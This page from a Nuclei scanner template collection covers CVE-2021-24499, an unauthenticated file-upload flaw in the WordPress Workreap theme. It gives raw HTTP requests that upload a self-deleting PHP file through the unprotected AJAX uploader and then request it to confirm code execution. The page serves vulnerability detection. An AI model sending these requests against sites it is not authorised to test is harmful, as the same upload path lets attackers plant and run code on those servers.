Skip to content
Nuclei Templates

WordPress Workreap - Remote Code Execution

ID: CVE-2021-24499

Severity: critical

Author: daffainfo

Tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech

Description

Section titled “Description”

WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24499


info:
  name: WordPress Workreap - Remote Code Execution
  author: daffainfo
  severity: critical
  description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the Workreap plugin to fix the vulnerability.
  reference:
    - https://github.com/RyouYoo/CVE-2021-24499
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499
    - https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
    - https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
    - http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24499
    cwe-id: CWE-434
    epss-score: 0.16767
    epss-percentile: 0.9591
    cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: amentotech
    product: workreap
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech


variables:
  string: "CVE-2021-24499"


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
        X-Requested-With: XMLHttpRequest


        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="action"


        workreap_award_temp_file_uploader
        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
        Content-Type: application/x-httpd-php


        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------cd0dc6bdc00b1cf9--
      - |
        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'


      - type: status
        status:
          - 200
# digest: 4a0a0047304502201cb81c571a1101b3b8060f01db6c14113eeec90a20a74d491d00503d776964e1022100f3286507c2fd52b14b45e7542eda9e0c6d59e502a95a26cd21602e5edf4b6aa7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24499.yaml"

View on Github